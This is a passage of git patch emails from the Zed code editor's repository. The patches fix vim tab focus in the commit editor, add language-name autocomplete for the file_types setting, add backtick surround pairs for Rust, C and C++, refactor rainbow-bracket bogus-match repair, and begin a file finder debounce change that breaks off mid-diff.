From 29565849be88d6cdd0983469925de33635bf14a4 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Tue, 21 Jul 2026 11:52:15 +0100
Subject: [PATCH 594/772] vim: Fix tab/shift-tab in commit editor's vim normal
 mode (#61369)

# Objective

Fix discrepancy where, while in `Insert` mode and focused on the commit
editor, using `tab` or `shift-tab` would focus back on the changes list
but, in `Normal` mode, it would not.

## Solution

Update vim's default keymap in order to properly support handling `tab`
and `shift-tab` when focused on the commit editor and in `Normal` mode.
While in `Insert` mode, using these bindings would focus back on the
changes but, while in `Normal` mode that was not the case, so this
change fixes that issue.

## Testing

Manually confirmed to be working as expected.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Before</summary>


https://github.com/user-attachments/assets/5599d8a8-6451-428b-9a00-6a9ab348852c


</details>

<details>
  <summary>After</summary>


https://github.com/user-attachments/assets/2be0654c-ca22-48c6-96eb-5b497f90c3a1


</details>

---

Release Notes:

- Fixed `tab` and `shift-tab` behavior in git's commit editor while in
Vim's `Normal` mode not focusing back on the changes list.
---
 assets/keymaps/vim.json | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/assets/keymaps/vim.json b/assets/keymaps/vim.json
index 9787a9278410eb..a8d218cb0b7018 100644
--- a/assets/keymaps/vim.json
+++ b/assets/keymaps/vim.json
@@ -1132,6 +1132,13 @@
       "escape": "menu::Cancel",
     },
   },
+  {
+    "context": "CommitEditor > Editor && VimControl && !menu",
+    "bindings": {
+      "tab": "git_panel::FocusChanges",
+      "shift-tab": "git_panel::FocusChanges",
+    },
+  },
   {
     "context": "Editor && edit_prediction && edit_prediction_mode == eager && !showing_completions",
     "bindings": {

From e80cdd2ff732be0f6783b8ae94bd19817b2a320e Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Tue, 21 Jul 2026 12:01:05 +0100
Subject: [PATCH 595/772] Autocomplete language names in `file_types` setting
 (#58595)

## Context

Closes #58571

When editing `settings.json`, typing a new key under `languages`
triggers language-name autocomplete. The same did not work for
`file_types`, even though both keys map language names to configuration.

The root cause: the JSON schema generator uses `replace_subschema` to
inject installed language names as the allowed properties of a named
type. The `languages` field backed by `LanguageToSettingsMap` (a named
newtype) got this treatment; `file_types` was backed by a raw
`HashMap<Arc<str>, ExtendingVec<String>>` with no named type to target.

The fix introduces a `FileTypeMap` newtype parallel to
`LanguageToSettingsMap` and wires it into the same schema-injection
path.

Video of manual test below :

[Screencast from 2026-06-05
00-04-16.webm](https://github.com/user-attachments/assets/5d8afb60-d566-4c99-ad2a-66ebbb47ed2e)

## How to Review

- `crates/settings_content/src/language.rs` : Adds
`FileTypeMap(HashMap<Arc<str>, ExtendingVec<String>>)` with the full set
of derives (`Debug`, `Clone`, `Default`, `PartialEq`, `Serialize`,
`Deserialize`, `JsonSchema`, `MergeFrom`) and an `IntoIterator for
&FileTypeMap` impl so existing call sites
(`all_languages.file_types.iter().flatten()`) continue to work without
changes. Changes the `file_types` field in `AllLanguageSettingsContent`
from the raw HashMap to `Option<FileTypeMap>`.

- `crates/settings/src/settings_store.rs` : In
`configure_schema_generator`, adds a `replace_subschema::<FileTypeMap>`
call mirroring the existing `LanguageToSettingsMap` one: injects
installed language names as the allowed properties, with
`ExtendingVec<String>` (array of glob patterns) as the value schema.
Adds `test_file_types_schema_generation` to verify the injected
properties.

- `crates/settings/src/vscode_import.rs` : Updates `file_types()` to
return `Option<FileTypeMap>` and wraps the constructed map accordingly.

- `crates/language/src/buffer_tests.rs` : Updates the existing custom
`file_types` test setup to extend the inner map of the new `FileTypeMap`
wrapper explicitly, keeping the language crate test build passing after
the type change.

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

**Release Notes :**

- Fixed language name autocomplete not working in the `file_types`
setting

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/language/src/buffer_tests.rs     |  2 +-
 crates/settings/src/settings_store.rs   | 53 +++++++++++++++++++++++--
 crates/settings/src/vscode_import.rs    |  4 +-
 crates/settings_content/src/language.rs | 16 +++++++-
 4 files changed, 68 insertions(+), 7 deletions(-)

diff --git a/crates/language/src/buffer_tests.rs b/crates/language/src/buffer_tests.rs
index a5dd8f4b07e569..256deda29676c1 100644
--- a/crates/language/src/buffer_tests.rs
+++ b/crates/language/src/buffer_tests.rs
@@ -277,7 +277,7 @@ async fn test_first_line_pattern(cx: &mut TestAppContext) {
 async fn test_language_for_file_with_custom_file_types(cx: &mut TestAppContext) {
     cx.update(|cx| {
         init_settings(cx, |settings| {
-            settings.file_types.get_or_insert_default().extend([
+            settings.file_types.get_or_insert_default().0.extend([
                 ("TypeScript".into(), vec!["js".into()].into()),
                 (
                     "JavaScript".into(),
diff --git a/crates/settings/src/settings_store.rs b/crates/settings/src/settings_store.rs
index 26c73bb77f68e2..8729a7db2cb738 100644
--- a/crates/settings/src/settings_store.rs
+++ b/crates/settings/src/settings_store.rs
@@ -32,12 +32,12 @@ use util::{
 use crate::editorconfig_store::EditorconfigStore;
 
 use crate::{
-    ActiveSettingsProfileName, FontFamilyName, IconThemeName, LanguageSettingsContent,
+    ActiveSettingsProfileName, FileTypeMap, FontFamilyName, IconThemeName, LanguageSettingsContent,
     LanguageToSettingsMap, LspSettings, LspSettingsMap, SemanticTokenRules, ThemeName,
     UserSettingsContentExt, VsCodeSettings, WorktreeId,
     settings_content::{
-        ExtensionsSettingsContent, ProfileBase, ProjectSettingsContent, RootUserSettings,
-        SettingsContent, UserSettingsContent, merge_from::MergeFrom,
+        ExtendingVec, ExtensionsSettingsContent, ProfileBase, ProjectSettingsContent,
+        RootUserSettings, SettingsContent, UserSettingsContent, merge_from::MergeFrom,
     },
 };
 
@@ -1201,6 +1201,17 @@ impl SettingsStore {
                     "properties": params.language_names.iter().map(|name| (name.clone(), language_settings_content_ref.clone())).collect::<serde_json::Map<_, _>>()
                 })
             });
+
+            let file_type_patterns_ref =
+                generator.subschema_for::<ExtendingVec<String>>().to_value();
+            replace_subschema::<FileTypeMap>(generator, || {
+                json_schema!({
+                    "type": "object",
+                    "errorMessage": "No language with this name is installed.",
+                    "properties": params.language_names.iter().map(|name| (name.clone(), file_type_patterns_ref.clone())).collect::<serde_json::Map<_, _>>(),
+                    "additionalProperties": file_type_patterns_ref.clone()
+                })
+            });
         }
 
         generator.subschema_for::<LspSettings>();
@@ -3166,6 +3177,42 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    fn test_file_types_schema_generation(cx: &mut App) {
+        SettingsStore::test(cx);
+
+        let schema = SettingsStore::json_schema(&SettingsJsonSchemaParams {
+            language_names: &["Rust".to_string(), "TypeScript".to_string()],
+            font_names: &["Zed Mono".to_string()],
+            theme_names: &["One Dark".into()],
+            icon_theme_names: &["Zed Icons".into()],
+            lsp_adapter_names: &[],
+            action_names: &[],
+            action_documentation: &HashMap::default(),
+            deprecations: &HashMap::default(),
+            deprecation_messages: &HashMap::default(),
+        });
+
+        let file_type_map = schema
+            .pointer("/$defs/FileTypeMap")
+            .expect("schema should have a FileTypeMap definition");
+        let properties = file_type_map
+            .pointer("/properties")
+            .expect("FileTypeMap should have properties")
+            .as_object()
+            .expect("FileTypeMap properties should be an object");
+
+        let mut language_names = properties.keys().collect::<Vec<_>>();
+        language_names.sort();
+        assert_eq!(language_names, ["Rust", "TypeScript"]);
+
+        let patterns_schema = file_type_map
+            .pointer("/additionalProperties")
+            .expect("FileTypeMap should validate values of unknown language names");
+        assert_eq!(properties.get("Rust"), Some(patterns_schema));
+        assert_eq!(properties.get("TypeScript"), Some(patterns_schema));
+    }
+
     #[gpui::test]
     fn test_project_json_schema_differs_from_user_schema(cx: &mut App) {
         SettingsStore::test(cx);
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index 65fcb22c9bb38d..4c2d3d7f63d673 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -642,7 +642,7 @@ impl VsCodeSettings {
         }
     }
 
-    fn file_types(&self) -> Option<HashMap<Arc<str>, ExtendingVec<String>>> {
+    fn file_types(&self) -> Option<FileTypeMap> {
         // vscodes file association map is inverted from ours, so we flip the mapping before merging
         let mut associations: HashMap<Arc<str>, ExtendingVec<String>> = HashMap::default();
         let map = self.read_value("files.associations")?.as_object()?;
@@ -650,7 +650,7 @@ impl VsCodeSettings {
             let Some(v) = v.as_str() else { continue };
             associations.entry(v.into()).or_default().0.push(k.clone());
         }
-        skip_default(associations)
+        skip_default(FileTypeMap(associations))
     }
 
     fn edit_predictions_settings_content(&self) -> Option<EditPredictionSettingsContent> {
diff --git a/crates/settings_content/src/language.rs b/crates/settings_content/src/language.rs
index 9c1c8f34f8c2c9..ddbfe53b2136cd 100644
--- a/crates/settings_content/src/language.rs
+++ b/crates/settings_content/src/language.rs
@@ -44,7 +44,7 @@ pub struct AllLanguageSettingsContent {
     pub languages: LanguageToSettingsMap,
     /// Settings for associating file extensions and filenames
     /// with languages.
-    pub file_types: Option<HashMap<Arc<str>, ExtendingVec<String>>>,
+    pub file_types: Option<FileTypeMap>,
 }
 
 impl merge_from::MergeFrom for AllLanguageSettingsContent {
@@ -1144,6 +1144,20 @@ pub struct LanguageTaskSettingsContent {
 #[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
 pub struct LanguageToSettingsMap(pub HashMap<String, LanguageSettingsContent>);
 
+/// Map from language name to file patterns.
+#[with_fallible_options]
+#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
+pub struct FileTypeMap(pub HashMap<Arc<str>, ExtendingVec<String>>);
+
+impl<'a> IntoIterator for &'a FileTypeMap {
+    type Item = (&'a Arc<str>, &'a ExtendingVec<String>);
+    type IntoIter = std::collections::hash_map::Iter<'a, Arc<str>, ExtendingVec<String>>;
+
+    fn into_iter(self) -> Self::IntoIter {
+        self.0.iter()
+    }
+}
+
 /// Determines how indent guides are colored.
 #[derive(
     Default,

From cb498ace96ab8829d83325b4d8c9828a4f77f57e Mon Sep 17 00:00:00 2001
From: Lee ByeongJun <lbj199874@gmail.com>
Date: Tue, 21 Jul 2026 20:27:16 +0900
Subject: [PATCH 596/772] Surround selection with backticks in Rust, C, and C++
 comments (#58674)

Typing a backtick over selected text in Rust, C, and C++ comments
replaced the selection instead of wrapping it. Markdown already supports
this via its backtick bracket pair.

Add a backtick bracket pair for these languages:
  - `surround = true` wraps selections in backticks
  - `close = false` avoids auto-closing lone backticks
  - `not_in = ["string"]` enables it in comments but not strings

Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [X] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Closes #58538

Release Notes:

- Added support for surrounding selected text with backticks in Rust, C,
and C++

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/editor/src/editor_tests.rs    | 40 ++++++++++++++++++++++++++++
 crates/grammars/src/c/config.toml    |  1 +
 crates/grammars/src/cpp/config.toml  |  1 +
 crates/grammars/src/rust/config.toml |  1 +
 4 files changed, 43 insertions(+)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index fb34017052db0a..e69bee21561780 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -14185,6 +14185,46 @@ async fn test_autoclose_quotes_with_multibyte_characters(cx: &mut TestAppContext
     "#});
 }
 
+#[gpui::test]
+async fn test_surround_backticks_in_rust(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorTestContext::new(cx).await;
+    cx.update_buffer(|buffer, cx| {
+        let language = languages::language("rust", tree_sitter_rust::LANGUAGE.into());
+        buffer.set_language(Some(language), cx)
+    });
+
+    // Surround a selection inside a doc comment with backticks
+    cx.set_state(indoc! {"
+        /// «Aˇ»
+        fn main() {}
+    "});
+    cx.update_editor(|editor, window, cx| {
+        editor.handle_input("`", window, cx);
+    });
+    cx.assert_editor_state(indoc! {"
+        /// `«Aˇ»`
+        fn main() {}
+    "});
+
+    // When inside a string literal, the backtick pair is disabled so typing a
+    // backtick should replace the selection instead of surrounding it.
+    cx.set_state(indoc! {r#"
+        fn main() {
+            let name = "«Jesper Kouthoofdˇ»";
+        }
+    "#});
+    cx.update_editor(|editor, window, cx| {
+        editor.handle_input("`", window, cx);
+    });
+    cx.assert_editor_state(indoc! {r#"
+        fn main() {
+            let name = "`ˇ";
+        }
+    "#});
+}
+
 #[gpui::test]
 async fn test_surround_with_pair(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/grammars/src/c/config.toml b/crates/grammars/src/c/config.toml
index 9977bb90373bc8..aae8cf5a8fbeef 100644
--- a/crates/grammars/src/c/config.toml
+++ b/crates/grammars/src/c/config.toml
@@ -12,6 +12,7 @@ brackets = [
     { start = "[", end = "]", close = true, newline = true },
     { start = "(", end = ")", close = true, newline = true },
     { start = "\"", end = "\"", close = true, newline = false, not_in = ["string"] },
+    { start = "`", end = "`", close = false, newline = false, not_in = ["string"] },
     { start = "'", end = "'", close = true, newline = false, not_in = ["string", "comment"] },
     { start = "/*", end = " */", close = true, newline = false, not_in = ["string", "comment"] },
 ]
diff --git a/crates/grammars/src/cpp/config.toml b/crates/grammars/src/cpp/config.toml
index b0992c5c120de1..dd437ddffb2df3 100644
--- a/crates/grammars/src/cpp/config.toml
+++ b/crates/grammars/src/cpp/config.toml
@@ -14,6 +14,7 @@ brackets = [
     { start = "[", end = "]", close = true, newline = true },
     { start = "(", end = ")", close = true, newline = true },
     { start = "\"", end = "\"", close = true, newline = false, not_in = ["string"] },
+    { start = "`", end = "`", close = false, newline = false, not_in = ["string"] },
     { start = "'", end = "'", close = true, newline = false, not_in = ["string", "comment"] },
     { start = "/*", end = " */", close = true, newline = false, not_in = ["string", "comment"] },
 ]
diff --git a/crates/grammars/src/rust/config.toml b/crates/grammars/src/rust/config.toml
index 6c5763fa642648..39ab34b678c2f9 100644
--- a/crates/grammars/src/rust/config.toml
+++ b/crates/grammars/src/rust/config.toml
@@ -13,6 +13,7 @@ brackets = [
     { start = "(", end = ")", close = true, newline = true },
     { start = "<", end = ">", close = false, newline = true, not_in = ["string", "comment"] },
     { start = "\"", end = "\"", close = true, newline = false, not_in = ["string"] },
+    { start = "`", end = "`", close = false, newline = false, not_in = ["string"] },
     { start = "/*", end = " */", close = true, newline = false, not_in = ["string", "comment"] },
 ]
 collapsed_placeholder = " /* ... */ "

From 869d3579caa46a54d128621a2668d79f99cbea58 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Tue, 21 Jul 2026 14:54:00 +0300
Subject: [PATCH 597/772] Improve bogus brackets filtering (#60364)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes https://github.com/zed-industries/zed/issues/59298

Left — before, right — after:

<img width="1604" height="1001" alt="Screenshot 2026-07-03 at 19 45 45"
src="https://github.com/user-attachments/assets/cc43b639-8fbe-4951-9da8-4b1e9482ca39"
/>

Release Notes:

- Fixed incorrect rainbow brackets highlights in certain cases
---
 crates/editor/src/bracket_colorization.rs |  42 ++++
 crates/language/src/buffer.rs             | 224 ++++++++++++----------
 2 files changed, 168 insertions(+), 98 deletions(-)

diff --git a/crates/editor/src/bracket_colorization.rs b/crates/editor/src/bracket_colorization.rs
index 3b90d1e2bc0438..993fb8f8e6b672 100644
--- a/crates/editor/src/bracket_colorization.rs
+++ b/crates/editor/src/bracket_colorization.rs
@@ -788,6 +788,48 @@ where
         );
     }
 
+    #[gpui::test]
+    async fn test_markdown_code_block_brackets_across_chunks(cx: &mut gpui::TestAppContext) {
+        init_test(cx, |language_settings| {
+            language_settings.defaults.colorize_brackets = Some(true);
+        });
+
+        let language_registry = Arc::new(language::LanguageRegistry::test(cx.executor()));
+        language_registry.add(markdown_lang());
+        language_registry.add(rust_lang());
+
+        let mut cx = EditorTestContext::new(cx).await;
+        cx.update_buffer(|buffer, cx| {
+            buffer.set_language_registry(language_registry.clone());
+            buffer.set_language(Some(markdown_lang()), cx);
+        });
+
+        // The code block is longer than a single tree-sitter data chunk (50 rows),
+        // so the outer brackets open in the first chunk and close in the second one.
+        let filler = (0..58).map(|_| "        \"one\",\n").collect::<String>();
+        let source = format!("ˇ```rs\nfn main() {{\n    let a = vec![\n{filler}    ];\n}}\n```\n");
+        cx.set_state(&source);
+        cx.update_editor(|editor, window, cx| {
+            editor.move_to_end(&MoveToEnd, window, cx);
+        });
+        cx.executor().advance_clock(Duration::from_millis(100));
+        cx.executor().run_until_parked();
+        cx.update_editor(|editor, window, cx| {
+            editor.move_to_beginning(&MoveToBeginning, window, cx);
+        });
+        cx.executor().advance_clock(Duration::from_millis(100));
+        cx.executor().run_until_parked();
+
+        let expected = format!(
+            "```rs\nfn main«1()1» «1{{\n    let a = vec!«2[\n{filler}    ]2»;\n}}1»\n```\n\n1 hsla(207.80, 81.00%, 66.00%, 1.00)\n2 hsla(29.00, 54.00%, 61.00%, 1.00)\n"
+        );
+        assert_eq!(
+            expected,
+            bracket_colors_markup(&mut cx),
+            "Brackets crossing the 50-row chunk boundary inside a markdown code block should keep consistent colors"
+        );
+    }
+
     #[gpui::test]
     async fn test_bracket_colorization_after_language_swap(cx: &mut gpui::TestAppContext) {
         init_test(cx, |language_settings| {
diff --git a/crates/language/src/buffer.rs b/crates/language/src/buffer.rs
index c37065146f25bf..73cafbbeb6faae 100644
--- a/crates/language/src/buffer.rs
+++ b/crates/language/src/buffer.rs
@@ -966,6 +966,49 @@ impl<T> BracketMatch<T> {
     }
 }
 
+/// A single bracket pair candidate produced by a brackets query, before
+/// bogus tree-sitter matches are repaired and color indices are assigned.
+#[derive(Clone, Debug)]
+struct BracketMatchCandidate {
+    bracket_match: BracketMatch<usize>,
+    pattern: BracketPatternKey,
+    rainbow_exclude: bool,
+}
+
+impl BracketMatchCandidate {
+    fn open_delimiter(&self) -> BracketDelimiter {
+        BracketDelimiter {
+            start: self.bracket_match.open_range.start,
+            end: self.bracket_match.open_range.end,
+            pattern: self.pattern,
+        }
+    }
+
+    fn close_delimiter(&self) -> BracketDelimiter {
+        BracketDelimiter {
+            start: self.bracket_match.close_range.start,
+            end: self.bracket_match.close_range.end,
+            pattern: self.pattern,
+        }
+    }
+}
+
+/// Identifies a brackets query pattern, unique across all grammars of a syntax map.
+#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord, Hash)]
+struct BracketPatternKey {
+    grammar_index: usize,
+    pattern_index: usize,
+}
+
+/// One delimiter (open or close) of a bracket pair candidate.
+/// Ordered by buffer position first, so sorting yields document order.
+#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord, Hash)]
+struct BracketDelimiter {
+    start: usize,
+    end: usize,
+    pattern: BracketPatternKey,
+}
+
 impl Buffer {
     /// Create a new buffer with the given base text.
     pub fn local<T: Into<String>>(base_text: T, cx: &Context<Self>) -> Self {
@@ -4797,7 +4840,7 @@ impl BufferSnapshot {
                 continue;
             }
 
-            let mut all_brackets: Vec<(BracketMatch<usize>, usize, bool)> = Vec::new();
+            let mut all_brackets = Vec::new();
             let mut opens = Vec::new();
             let mut color_pairs = Vec::new();
 
@@ -4816,16 +4859,20 @@ impl BufferSnapshot {
                 .map(|grammar| grammar.brackets_config.as_ref().unwrap())
                 .collect::<Vec<_>>();
 
-            // Group matches by open range so we can either trust grammar output
+            // Group matches by open delimiter so we can either trust grammar output
             // or repair it by picking a single closest close per open.
-            let mut open_to_close_ranges = BTreeMap::new();
+            let mut close_delimiters_by_open = BTreeMap::new();
+            let mut bogus_patterns = HashSet::default();
             while let Some(mat) = matches.peek() {
                 let mut open = None;
                 let mut close = None;
                 let syntax_layer_depth = mat.depth;
-                let pattern_index = mat.pattern_index;
+                let pattern_key = BracketPatternKey {
+                    grammar_index: mat.grammar_index,
+                    pattern_index: mat.pattern_index,
+                };
                 let config = configs[mat.grammar_index];
-                let pattern = &config.patterns[pattern_index];
+                let pattern = &config.patterns[mat.pattern_index];
                 for capture in mat.captures {
                     if capture.index == config.open_capture_ix {
                         open = Some(capture.node.byte_range());
@@ -4845,157 +4892,138 @@ impl BufferSnapshot {
                     continue;
                 }
 
-                open_to_close_ranges
-                    .entry((open_range.start, open_range.end, pattern_index))
-                    .or_insert_with(BTreeMap::new)
-                    .insert(
-                        (close_range.start, close_range.end),
-                        BracketMatch {
-                            open_range: open_range.clone(),
-                            close_range: close_range.clone(),
-                            syntax_layer_depth,
-                            newline_only: pattern.newline_only,
-                            color_index: None,
-                        },
-                    );
-
-                all_brackets.push((
-                    BracketMatch {
+                let candidate = BracketMatchCandidate {
+                    bracket_match: BracketMatch {
                         open_range,
                         close_range,
                         syntax_layer_depth,
                         newline_only: pattern.newline_only,
                         color_index: None,
                     },
-                    pattern_index,
-                    pattern.rainbow_exclude,
-                ));
+                    pattern: pattern_key,
+                    rainbow_exclude: pattern.rainbow_exclude,
+                };
+
+                let close_delimiters = close_delimiters_by_open
+                    .entry(candidate.open_delimiter())
+                    .or_insert_with(BTreeSet::new);
+                close_delimiters.insert(candidate.close_delimiter());
+                if close_delimiters.len() > 1 {
+                    bogus_patterns.insert(pattern_key);
+                }
+
+                all_brackets.push(candidate);
             }
 
-            let has_bogus_matches = open_to_close_ranges
-                .iter()
-                .any(|(_, end_ranges)| end_ranges.len() > 1);
-            if has_bogus_matches {
-                // Grammar is producing bogus matches where one open is paired with multiple
-                // closes. Build a valid stack by walking through positions in order.
+            if !bogus_patterns.is_empty() {
+                // Certain patterns produce bogus matches where one open is paired with multiple
+                // closes (e.g. same-character delimiters inside a single parent node).
+                // Repair only those patterns, keeping trustworthy grammar output intact:
+                // clean patterns may legitimately pair an open in one chunk with a close in
+                // another, and must not be dropped by the chunk-local repair below.
                 // For each close, we know the expected open_len from tree-sitter matches.
+                let is_bogus =
+                    |candidate: &BracketMatchCandidate| bogus_patterns.contains(&candidate.pattern);
 
                 // Map each close to its expected open length (for inferring opens)
-                let close_to_open_len: HashMap<(usize, usize, usize), usize> = all_brackets
+                let close_to_open_len = all_brackets
                     .iter()
-                    .map(|(bracket_match, pattern_index, _)| {
+                    .filter(|candidate| is_bogus(candidate))
+                    .map(|candidate| {
                         (
-                            (
-                                bracket_match.close_range.start,
-                                bracket_match.close_range.end,
-                                *pattern_index,
-                            ),
-                            bracket_match.open_range.len(),
+                            candidate.close_delimiter(),
+                            candidate.bracket_match.open_range.len(),
                         )
                     })
-                    .collect();
+                    .collect::<HashMap<_, _>>();
 
                 // Collect unique opens and closes within this chunk
-                let mut unique_opens: HashSet<(usize, usize, usize)> = all_brackets
+                let unique_opens = all_brackets
                     .iter()
-                    .map(|(bracket_match, pattern_index, _)| {
-                        (
-                            bracket_match.open_range.start,
-                            bracket_match.open_range.end,
-                            *pattern_index,
-                        )
-                    })
-                    .filter(|(start, _, _)| chunk_range.contains(start))
-                    .collect();
+                    .filter(|candidate| is_bogus(candidate))
+                    .map(|candidate| candidate.open_delimiter())
+                    .filter(|open| chunk_range.contains(&open.start))
+                    .collect::<HashSet<_>>();
 
-                let mut unique_closes: Vec<(usize, usize, usize)> = all_brackets
+                let mut unique_closes = all_brackets
                     .iter()
-                    .map(|(bracket_match, pattern_index, _)| {
-                        (
-                            bracket_match.close_range.start,
-                            bracket_match.close_range.end,
-                            *pattern_index,
-                        )
-                    })
-                    .filter(|(start, _, _)| chunk_range.contains(start))
-                    .collect();
+                    .filter(|candidate| is_bogus(candidate))
+                    .map(|candidate| candidate.close_delimiter())
+                    .filter(|close| chunk_range.contains(&close.start))
+                    .collect::<Vec<_>>();
                 unique_closes.sort_unstable();
                 unique_closes.dedup();
 
                 // Build valid pairs by walking through closes in order
-                let mut unique_opens_vec: Vec<_> = unique_opens.iter().copied().collect();
-                unique_opens_vec.sort();
+                let mut sorted_opens = unique_opens.into_iter().collect::<Vec<_>>();
+                sorted_opens.sort_unstable();
 
-                let mut valid_pairs: HashSet<((usize, usize, usize), (usize, usize, usize))> =
-                    HashSet::default();
-                let mut open_stacks: HashMap<usize, Vec<(usize, usize)>> = HashMap::default();
+                let mut valid_pairs = HashSet::default();
+                let mut open_stacks = HashMap::default();
                 let mut open_idx = 0;
 
                 for close in &unique_closes {
                     // Push all opens before this close onto stack
-                    while open_idx < unique_opens_vec.len()
-                        && unique_opens_vec[open_idx].0 < close.0
+                    while open_idx < sorted_opens.len()
+                        && sorted_opens[open_idx].start < close.start
                     {
-                        let (start, end, pattern_index) = unique_opens_vec[open_idx];
+                        let open = sorted_opens[open_idx];
                         open_stacks
-                            .entry(pattern_index)
-                            .or_default()
-                            .push((start, end));
+                            .entry(open.pattern)
+                            .or_insert_with(Vec::new)
+                            .push(open);
                         open_idx += 1;
                     }
 
                     // Try to match with most recent open
-                    let (close_start, close_end, pattern_index) = *close;
                     if let Some(open) = open_stacks
-                        .get_mut(&pattern_index)
+                        .get_mut(&close.pattern)
                         .and_then(|open_stack| open_stack.pop())
                     {
-                        valid_pairs.insert(((open.0, open.1, pattern_index), *close));
+                        valid_pairs.insert((open, *close));
                     } else if let Some(&open_len) = close_to_open_len.get(close) {
                         // No open on stack - infer one based on expected open_len
-                        if close_start >= open_len {
-                            let inferred = (close_start - open_len, close_start, pattern_index);
-                            unique_opens.insert(inferred);
+                        if close.start >= open_len {
+                            let inferred = BracketDelimiter {
+                                start: close.start - open_len,
+                                end: close.start,
+                                pattern: close.pattern,
+                            };
                             valid_pairs.insert((inferred, *close));
-                            all_brackets.push((
-                                BracketMatch {
-                                    open_range: inferred.0..inferred.1,
-                                    close_range: close_start..close_end,
-                                    newline_only: false,
+                            let pattern = &configs[close.pattern.grammar_index].patterns
+                                [close.pattern.pattern_index];
+                            all_brackets.push(BracketMatchCandidate {
+                                bracket_match: BracketMatch {
+                                    open_range: inferred.start..inferred.end,
+                                    close_range: close.start..close.end,
+                                    newline_only: pattern.newline_only,
                                     syntax_layer_depth: 0,
                                     color_index: None,
                                 },
-                                pattern_index,
-                                false,
-                            ));
+                                pattern: close.pattern,
+                                rainbow_exclude: pattern.rainbow_exclude,
+                            });
                         }
                     }
                 }
 
-                all_brackets.retain(|(bracket_match, pattern_index, _)| {
-                    let open = (
-                        bracket_match.open_range.start,
-                        bracket_match.open_range.end,
-                        *pattern_index,
-                    );
-                    let close = (
-                        bracket_match.close_range.start,
-                        bracket_match.close_range.end,
-                        *pattern_index,
-                    );
-                    valid_pairs.contains(&(open, close))
+                all_brackets.retain(|candidate| {
+                    !is_bogus(candidate)
+                        || valid_pairs
+                            .contains(&(candidate.open_delimiter(), candidate.close_delimiter()))
                 });
             }
 
             let mut all_brackets = all_brackets
                 .into_iter()
                 .enumerate()
-                .map(|(index, (bracket_match, _, rainbow_exclude))| {
+                .map(|(index, candidate)| {
+                    let bracket_match = candidate.bracket_match;
                     // Certain languages have "brackets" that are not brackets, e.g. tags. and such
                     // bracket will match the entire tag with all text inside.
                     // For now, avoid highlighting any pair that has more than single char in each bracket.
                     // We need to  colorize `<Element/>` bracket pairs, so cannot make this check stricter.
-                    let should_color = !rainbow_exclude
+                    let should_color = !candidate.rainbow_exclude
                         && (bracket_match.open_range.len() == 1
                             || bracket_match.close_range.len() == 1);
                     if should_color {

From 2fd6e237787fd808d3b934b7ddfc428daac79ea8 Mon Sep 17 00:00:00 2001
From: Bing Wang <wangbing.adam@gmail.com>
Date: Tue, 21 Jul 2026 19:59:11 +0800
Subject: [PATCH 598/772] file_finder: Debounce file finder refreshes on
 worktree updates (#60451)

# Objective

Delay picker refreshes for entry updates so bursty filesystem events
trigger only one search refresh, while still refreshing immediately when
worktrees are added or removed.

Update tests to advance both the watch latency and refresh debounce, and
add coverage for coalesced worktree updates.



## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable



Release Notes:

- N/A

---------

Co-authored-by: Kirill Bulatov <mail4score@gmail.com>
---
 crates/file_finder/src/file_finder.rs       | 28 ++++++---
 crates/file_finder/src/file_finder_tests.rs | 67 +++++++++++++++++++--
 2 files changed, 82 insertions(+), 13 deletions(-)

diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index a9bdd7288d19e3..d37a419b127835 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -31,7 +31,7 @@ use project_panel::project_panel_settings::ProjectPanelSettings;
 use settings::Settings;
 use std::{
     borrow::Cow,
-    cmp,
+    cmp, mem,
     ops::{Range, RangeInclusive},
     path::{Component, Path, PathBuf},
     sync::{
